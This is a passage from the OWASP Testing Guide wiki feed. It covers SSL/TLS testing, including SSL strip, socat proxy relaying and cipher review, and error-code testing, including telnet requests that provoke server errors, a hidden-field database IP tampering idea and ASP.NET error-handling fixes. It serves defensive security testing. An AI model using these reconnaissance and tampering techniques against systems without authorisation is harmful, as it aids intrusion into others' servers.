====SSL Strip====&lt;br /&gt;
Some applications supports both HTTP and HTTPS, either for usability or so users can type both addresses and get to the site. Often users go into an HTTPS website from link or a redirect. Typically personal banking sites have a similar configuration with an iframed log in or a form with action attribute over HTTPS but the page under HTTP.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
An attacker in a privileged position - as described in SSL strip [8] - can intercept traffic when the user is in the http site and manipulate it to get a Man-In-The-Middle attack under HTTPS. An application is vulnerable if it supports both HTTP and HTTPS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Testing via HTTP proxy===&lt;br /&gt;
&lt;br /&gt;
Inside corporate environments testers can see services that are not directly accessible and they can access them only via HTTP proxy using the CONNECT method [36]. Most of the tools will not work in this scenario because they try to connect to the desired tcp port to start the SSL/TLS handshake. With the help of relaying software such as socat [37] testers can enable those tools for use with services behind an HTTP proxy.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Example 8. Testing via HTTP proxy==== &lt;br /&gt;
&lt;br /&gt;
To connect to destined.application.lan:443 via proxy 10.13.37.100:3128 run socat as follows:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Then the tester can target all other tools to localhost:9999:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ openssl s_client -connect localhost:9999&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
All connections to localhost:9999 will be effectively relayed by socat via proxy to destined.application.lan:443.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Configuration Review ==&lt;br /&gt;
&lt;br /&gt;
===Testing for Weak SSL/TLS Cipher Suites===&lt;br /&gt;
Check the configuration of the web servers that provide https services. If the web application provides other SSL/TLS wrapped services, these should be checked as well. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Example 9. Windows Server==== &lt;br /&gt;
Check the configuration on a Microsoft Windows Server (2000, 2003 and 2008) using the registry key:&lt;br /&gt;
&amp;lt;pre&amp;gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\&amp;lt;/pre&amp;gt;&lt;br /&gt;
that has some sub-keys including Ciphers, Protocols and KeyExchangeAlgorithms.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Example 10: Apache====&lt;br /&gt;
To check the cipher suites and protocols supported by the Apache2 web server, open the ssl.conf file and search for the SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,SSLInsecureRenegotiation and SSLCompression directives.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Testing SSL certificate validity – client and server===&lt;br /&gt;
Examine the validity of the certificates used by the application at both server and client levels. The usage of certificates is primarily at the web server level, however, there may be additional communication paths protected by SSL (for example, towards the DBMS). Testers should check the application architecture to identify all SSL protected channels.&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
*[21][Qualys SSL Labs - SSL Server Test|https://www.ssllabs.com/ssltest/index.html]: internet facing scanner&lt;br /&gt;
*[27] [Tenable - Nessus Vulnerability Scanner|http://www.tenable.com/products/nessus]: includes some plugins to test different SSL related vulnerabilities, Certificates and the presence of HTTP Basic authentication without SSL.&lt;br /&gt;
*[32] [TestSSLServer|http://www.bolet.org/TestSSLServer/]: a java scanner - and also windows executable - includes tests for cipher suites, CRIME and BEAST&lt;br /&gt;
*[33] [sslyze|https://github.com/iSECPartners/sslyze]: is a python script to check vulnerabilities in SSL/TLS.&lt;br /&gt;
*[28] [SSLAudit|https://code.google.com/p/sslaudit/]: a perl script/windows executable scanner which follows Qualys SSL Labs Rating Guide.&lt;br /&gt;
*[29] [SSLScan|http://sourceforge.net/projects/sslscan/] with [SSL Tests|http://www.pentesterscripting.com/discovery/ssl_tests]: a SSL Scanner and a wrapper in order to enumerate SSL vulnerabilities.&lt;br /&gt;
*[31] [nmap|http://nmap.org/]: can be used primary to identify SSL-based services and then to check Certificate and SSL/TLS vulnerabilities. In particular it has some scripts to check [Certificate and SSLv2|http://nmap.org/nsedoc/scripts/ssl-cert.html] and supported [SSL/TLS protocols/ciphers|http://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html] with an internal rating.&lt;br /&gt;
*[30] [curl|http://curl.haxx.se/] and [openssl|http://www.openssl.org/]: can be used to query manually SSL/TLS services&lt;br /&gt;
*[9] [Stunnel|http://www.stunnel.org]: a noteworthy class of SSL clients is that of SSL proxies such as stunnel available at which can be used to allow non-SSL enabled tools to talk to SSL services)&lt;br /&gt;
*[37] [socat| http://www.dest-unreach.org/socat/]: Multipurpose relay&lt;br /&gt;
*[38] [testssl.sh| https://testssl.sh/ ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [5] [OWASP Testing Guide - Testing for cookie attributes (OTG-SESS-002)|https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OTG-SESS-002)]&lt;br /&gt;
* [4][OWASP Testing Guide - Test Network/Infrastructure Configuration (OTG-CONFIG-001)|https://www.owasp.org/index.php/Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001)]&lt;br /&gt;
* [6] [OWASP Testing Guide - Testing for HTTP_Strict_Transport_Security (OTG-CONFIG-007)|https://www.owasp.org/index.php/Test_HTTP_Strict_Transport_Security_(OTG-CONFIG-007)]&lt;br /&gt;
* [2] [OWASP Testing Guide - Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)|https://www.owasp.org/index.php/Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-003)]&lt;br /&gt;
* [3] [OWASP Testing Guide - Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)|https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001)]&lt;br /&gt;
* [22] [OWASP Cheat sheet - Transport Layer Protection|https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet]&lt;br /&gt;
* [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure|https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure]&lt;br /&gt;
* [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection|https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection]&lt;br /&gt;
* [25] [OWASP ASVS 2009 - Verification 10|https://code.google.com/p/owasp-asvs/wiki/Verification_V10]&lt;br /&gt;
* [26] [OWASP Application Security FAQ - Cryptography/SSL|https://www.owasp.org/index.php/OWASP_Application_Security_FAQ#Cryptography.2FSSL]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
* [1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176)|http://www.ietf.org/rfc/rfc5246.txt]&lt;br /&gt;
* [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|]&lt;br /&gt;
* [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension Definitions|http://www.ietf.org/rfc/rfc6066.txt]&lt;br /&gt;
* [11] [SSLv2 Protocol Multiple Weaknesses |http://osvdb.org/56387]&lt;br /&gt;
* [12] [Mitre - TLS Renegotiation MiTM|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555]&lt;br /&gt;
* [13] [Qualys SSL Labs - TLS Renegotiation DoS|https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks]&lt;br /&gt;
* [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices|https://www.ssllabs.com/projects/best-practices/index.html]&lt;br /&gt;
* [14] [Qualys SSL Labs - SSL Server Rating Guide|https://www.ssllabs.com/projects/rating-guide/index.html]&lt;br /&gt;
* [20] [Qualys SSL Labs - SSL Threat Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]&lt;br /&gt;
* [18] [Qualys SSL Labs - Forward Secrecy|https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy]&lt;br /&gt;
* [15] [Qualys SSL Labs - RC4 Usage|https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what]&lt;br /&gt;
* [16] [Qualys SSL Labs - BEAST|https://community.qualys.com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls]&lt;br /&gt;
* [17] [Qualys SSL Labs - CRIME|https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls]&lt;br /&gt;
* [7] [SurfJacking attack|https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf]&lt;br /&gt;
* [8] [SSLStrip attack|http://www.thoughtcrime.org/software/sslstrip/]&lt;br /&gt;
* [19] [PCI-DSS v2.0|https://www.pcisecuritystandards.org/security_standards/documents.php]&lt;br /&gt;
* [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash Functions| http://link.springer.com/chapter/10.1007/11426639_2]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Cryptographic Vulnerability]]&lt;br /&gt;
[[Category:SSL]]&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Error_Code_(OTG-ERR-001)&amp;diff=180299</id>
		<title>Testing for Error Code (OTG-ERR-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Error_Code_(OTG-ERR-001)&amp;diff=180299"/>
				<updated>2014-08-08T12:53:44Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
Often, during a penetration test on web applications, we come up against many error codes generated from applications or web servers.&lt;br /&gt;
It's possible to cause these errors to be displayed by using a particular requests, either specially crafted with tools or created manually.&lt;br /&gt;
These codes are very useful to penetration testers during their activities, because they reveal a lot of information about databases, bugs, and other technological components directly linked with web applications.&lt;br /&gt;
&lt;br /&gt;
This section analyses the more common codes (error messages) and bring into focus their relevance during a vulnerability assessment.&lt;br /&gt;
The most important aspect for this activity is to focus one's attention on these errors, seeing them as a collection of information that will aid in the next steps of our analysis. A good collection can facilitate assessment efficiency by decreasing the overall time taken to perform the penetration test.&lt;br /&gt;
&lt;br /&gt;
Attackers sometimes use search engines to locate errors that disclose information. Searches can be performed to find any erroneous sites as random victims, or it is possible to search for errors in a specific site using the search engine filtering tools as described in [https://www.owasp.org/index.php/Conduct_search_engine_discovery/reconnaissance_for_information_leakage_(OTG-INFO-001) 4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Web Server Errors===&lt;br /&gt;
&lt;br /&gt;
A common error that we can see during testing is the HTTP 404 Not Found.&lt;br /&gt;
Often this error code provides useful details about the underlying web server and associated components. For example: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Not Found&lt;br /&gt;
The requested URL /page.html was not found on this server.&lt;br /&gt;
Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g  DAV/2 PHP/5.1.2 Server at localhost Port 80&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This error message can be generated by requesting a non-existent URL.&lt;br /&gt;
After the common message that shows a page not found, there is information about web server version, OS, modules and other products used.&lt;br /&gt;
This information can be very important from an OS and application type and version identification point of view.&lt;br /&gt;
&lt;br /&gt;
Other HTTP response codes such as 400 Bad Request, 405 Method Not Allowed, 501 Method Not Implemented, 408 Request Time-out and 505 HTTP Version Not Supported can be forced by an attacker. When receiving specially crafted requests, web servers may provide one of these error codes depending on their HTTP implementation. &lt;br /&gt;
&lt;br /&gt;
Testing for disclosed information in the Web Server error codes is related testing for information disclosed in the HTTP headers as described in the section [https://www.owasp.org/index.php/Fingerprint_Web_Server_(OTG-INFO-002) Fingerprint Web Server (OTG-INFO-002)]. &lt;br /&gt;
&lt;br /&gt;
===Application Server Errors===&lt;br /&gt;
&lt;br /&gt;
Application errors are returned by the application itself, rather than the web server. These could be error messages from framework code (ASP, JSP etc.) or they could be specific errors returned by the application code. &lt;br /&gt;
Detailed application errors typically provide information of server paths, installed libraries and application versions. &lt;br /&gt;
&lt;br /&gt;
===Database Errors===&lt;br /&gt;
&lt;br /&gt;
Database errors are those returned by the Database System when there is a problem with the query or the connection. Each Database system, such as MySQL, Oracle or MSSQL, has their own set of errors. Those errors can provide sensible information such as Database server IPs, tables, columns and login details.&lt;br /&gt;
&lt;br /&gt;
In addition, there are many SQL Injection exploitation techniques that utilize detailed error messages from the database driver, for in depth information on this issue see [[Testing for SQL Injection (OTG-INPVAL-005)]] for more information.&lt;br /&gt;
&lt;br /&gt;
Web server errors aren't the only useful output returned requiring security analysis. Consider the next example error message:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)&lt;br /&gt;
[DBNETLIB][ConnectionOpen(Connect())] - SQL server does not exist or access denied &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What happened? We will explain step-by-step below.&lt;br /&gt;
&lt;br /&gt;
In this example, the 80004005 is a generic IIS error code which indicates that it could not establish a connection to its associated database. In many cases, the error message will detail the type of the database. This will often indicate the underlying operating system by association. With this information, the penetration tester can plan an appropriate strategy for the security test.&lt;br /&gt;
&lt;br /&gt;
By manipulating the variables that are passed to the database connect string, we can invoke more detailed errors.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers error '80004005'&lt;br /&gt;
[Microsoft][ODBC Access 97 ODBC driver Driver]General error Unable to open registry key 'DriverId'&lt;br /&gt;
&amp;lt;/pre&amp;gt; 	&lt;br /&gt;
&lt;br /&gt;
In this example, we can see a generic error in the same situation which reveals the type and version of the associated database system and a dependence on Windows operating system registry key values.&lt;br /&gt;
&lt;br /&gt;
Now we will look at a practical example with a security test against a web application that loses its link to its database server and does not handle the exception in a controlled manner. This could be caused by a database name resolution issue, processing of unexpected variable values, or other network problems.&lt;br /&gt;
&lt;br /&gt;
Consider the scenario where we have a database administration web portal, which can be used as a front end GUI to issue database queries, create tables, and modify database fields. During the POST of the logon credentials, the following error message is presented to the penetration tester. The message indicates the presence of a MySQL database server:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)&lt;br /&gt;
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
If we see in the HTML code of the logon page the presence of a '''hidden field''' with a database IP, we can try to change this value in the URL with the address of database server under the penetration tester's control in an attempt to fool the application into thinking that the logon was successful.&lt;br /&gt;
&lt;br /&gt;
Another example: knowing the database server that services a web application, we can take advantage of this information to carry out a SQL Injection for that kind of database or a persistent XSS test.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
Below are some examples of testing for detailed error messages returned to the user. Each of the below examples has specific information about the operating system, application version, etc.&lt;br /&gt;
&lt;br /&gt;
'''Test: 404 Not Found'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
telnet &amp;lt;host target&amp;gt; 80&lt;br /&gt;
GET /&amp;lt;wrong page&amp;gt; HTTP/1.1&lt;br /&gt;
host: &amp;lt;host target&amp;gt;&lt;br /&gt;
&amp;lt;CRLF&amp;gt;&amp;lt;CRLF&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 404 Not Found&lt;br /&gt;
Date: Sat, 04 Nov 2006 15:26:48 GMT&lt;br /&gt;
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g&lt;br /&gt;
Content-Length: 310&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html; charset=iso-8859-1&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;title&amp;gt;404 Not Found&amp;lt;/title&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;address&amp;gt;Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g at &amp;lt;host target&amp;gt; Port 80&amp;lt;/address&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Test:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Network problems leading to the application being unable to access the database server&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers (0x80004005) '&lt;br /&gt;
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Test:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Authentication failure due to missing credentials&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&lt;br /&gt;
Firewall version used for authentication:&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Error 407&lt;br /&gt;
FW-1 at &amp;lt;firewall&amp;gt;: Unauthorized to access the document.&lt;br /&gt;
•  Authorization is needed for FW-1.&lt;br /&gt;
•  The authentication required by FW-1 is: unknown.&lt;br /&gt;
•  Reason for failure of last attempt: no user&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Test: 400 Bad Request'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
telnet &amp;lt;host target&amp;gt; 80&lt;br /&gt;
GET / HTTP/1.1&lt;br /&gt;
&amp;lt;CRLF&amp;gt;&amp;lt;CRLF&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 400 Bad Request&lt;br /&gt;
Date: Fri, 06 Dec 2013 23:57:53 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 301&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html; charset=iso-8859-1&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;title&amp;gt;400 Bad Request&amp;lt;/title&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;address&amp;gt;Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at 127.0.1.1 Port 80&amp;lt;/address&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Test: 405 Method Not Allowed'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
telnet &amp;lt;host target&amp;gt; 80&lt;br /&gt;
PUT /index.html HTTP/1.1&lt;br /&gt;
Host: &amp;lt;host target&amp;gt;&lt;br /&gt;
&amp;lt;CRLF&amp;gt;&amp;lt;CRLF&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 405 Method Not Allowed&lt;br /&gt;
Date: Fri, 07 Dec 2013 00:48:57 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch&lt;br /&gt;
Allow: GET, HEAD, POST, OPTIONS&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 315&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html; charset=iso-8859-1&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;title&amp;gt;405 Method Not Allowed&amp;lt;/title&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;address&amp;gt;Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at &amp;lt;host target&amp;gt; Port 80&amp;lt;/address&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Test: 408 Request Time-out'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
telnet &amp;lt;host target&amp;gt; 80&lt;br /&gt;
GET / HTTP/1.1&lt;br /&gt;
-	Wait X seconds – (Depending on the target server, 21 seconds for Apache by default)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 408 Request Time-out&lt;br /&gt;
Date: Fri, 07 Dec 2013 00:58:33 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 298&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html; charset=iso-8859-1&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;title&amp;gt;408 Request Time-out&amp;lt;/title&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;address&amp;gt;Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at &amp;lt;host target&amp;gt; Port 80&amp;lt;/address&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Test: 501 Method Not Implemented'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
telnet &amp;lt;host target&amp;gt; 80&lt;br /&gt;
RENAME /index.html HTTP/1.1&lt;br /&gt;
Host: &amp;lt;host target&amp;gt;&lt;br /&gt;
&amp;lt;CRLF&amp;gt;&amp;lt;CRLF&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 501 Method Not Implemented&lt;br /&gt;
Date: Fri, 08 Dec 2013 09:59:32 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch&lt;br /&gt;
Allow: GET, HEAD, POST, OPTIONS&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 299&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html; charset=iso-8859-1&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;title&amp;gt;501 Method Not Implemented&amp;lt;/title&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;address&amp;gt;Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at &amp;lt;host target&amp;gt; Port 80&amp;lt;/address&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Test:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Enumeration of directories by using access denied error messages:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
http://&amp;lt;host&amp;gt;/&amp;lt;dir&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Directory Listing Denied&lt;br /&gt;
This Virtual Directory does not allow contents to be listed.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Forbidden&lt;br /&gt;
You don't have permission to access /&amp;lt;dir&amp;gt; on this server.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Remediation==&lt;br /&gt;
&lt;br /&gt;
===Error Handling in IIS and ASP .net===&lt;br /&gt;
&lt;br /&gt;
ASP .net is a common framework from Microsoft used for developing web applications. IIS is one of the commonly used web servers. Errors occur in all applications, developers try to trap most errors but it is almost impossible to cover each and every exception (it is however possible to configure the web server to suppress detailed error messages from being returned to the user). &lt;br /&gt;
&lt;br /&gt;
IIS uses a set of custom error pages generally found in c:\winnt\help\iishelp\common to display errors like '404 page not found' to the user. These default pages can be changed and custom errors can be configured for IIS server. When IIS receives a request for an aspx page, the request is passed on to the dot net framework.&lt;br /&gt;
&lt;br /&gt;
There are various ways by which errors can be handled in dot net framework. Errors are handled at three places in ASP .net: &lt;br /&gt;
&lt;br /&gt;
# Inside Web.config customErrors section&lt;br /&gt;
# Inside global.asax Application_Error Sub&lt;br /&gt;
# At the the aspx or associated codebehind page in the Page_Error sub&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Handling errors using web.config'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;customErrors defaultRedirect=&amp;quot;myerrorpagedefault.aspx&amp;quot; mode=&amp;quot;On|Off|RemoteOnly&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;error statusCode=&amp;quot;404&amp;quot; redirect=&amp;quot;myerrorpagefor404.aspx&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;error statusCode=&amp;quot;500&amp;quot; redirect=&amp;quot;myerrorpagefor500.aspx&amp;quot;/&amp;gt;&lt;br /&gt;
&amp;lt;/customErrors&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
mode=&amp;quot;On&amp;quot; will turn on custom errors. mode=RemoteOnly will show custom errors to the remote web application users. A user accessing the server locally will be presented with the complete stack trace and custom errors will not be shown to him.&lt;br /&gt;
&lt;br /&gt;
All the errors, except those explicitly specified, will cause a redirection to the resource specified by defaultRedirect, i.e., myerrorpagedefault.aspx. &lt;br /&gt;
A status code 404 will be handled by myerrorpagefor404.aspx.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Handling errors in Global.asax'''&lt;br /&gt;
&lt;br /&gt;
When an error occurs, the Application_Error sub is called. A developer can write code for error handling/page redirection in this sub.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Private Sub Application_Error (ByVal sender As Object, ByVal e As System.EventArgs) &lt;br /&gt;
     Handles MyBase.Error&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Handling errors in Page_Error sub'''&lt;br /&gt;
&lt;br /&gt;
This is similar to application error.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Private Sub Page_Error (ByVal sender As Object, ByVal e As System.EventArgs) &lt;br /&gt;
     Handles MyBase.Error&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Error hierarchy in ASP .net'''&lt;br /&gt;
&lt;br /&gt;
Page_Error sub will be processed first, followed by global.asax Application_Error sub, and, finally, customErrors section in web.config file.&lt;br /&gt;
&lt;br /&gt;
Information Gathering on web applications with server-side technology is quite difficult, but the information discovered can be useful for the correct execution of an attempted exploit (for example, SQL injection or Cross Site Scripting (XSS) attacks) and can reduce false positives.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''How to test for ASP.net and IIS Error Handling'''&lt;br /&gt;
&lt;br /&gt;
Fire up your browser and type a random page name &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http:\\www.mywebserver.com\anyrandomname.asp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the server returns &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
The page cannot be found&lt;br /&gt;
&lt;br /&gt;
Internet Information Services&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
it means that IIS custom errors are not configured. Please note the .asp extension.&lt;br /&gt;
&lt;br /&gt;
Also test for .net custom errors. Type a random page name with aspx extension in your browser&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http:\\www.mywebserver.com\anyrandomname.aspx&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the server returns&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Server Error in '/' Application.&lt;br /&gt;
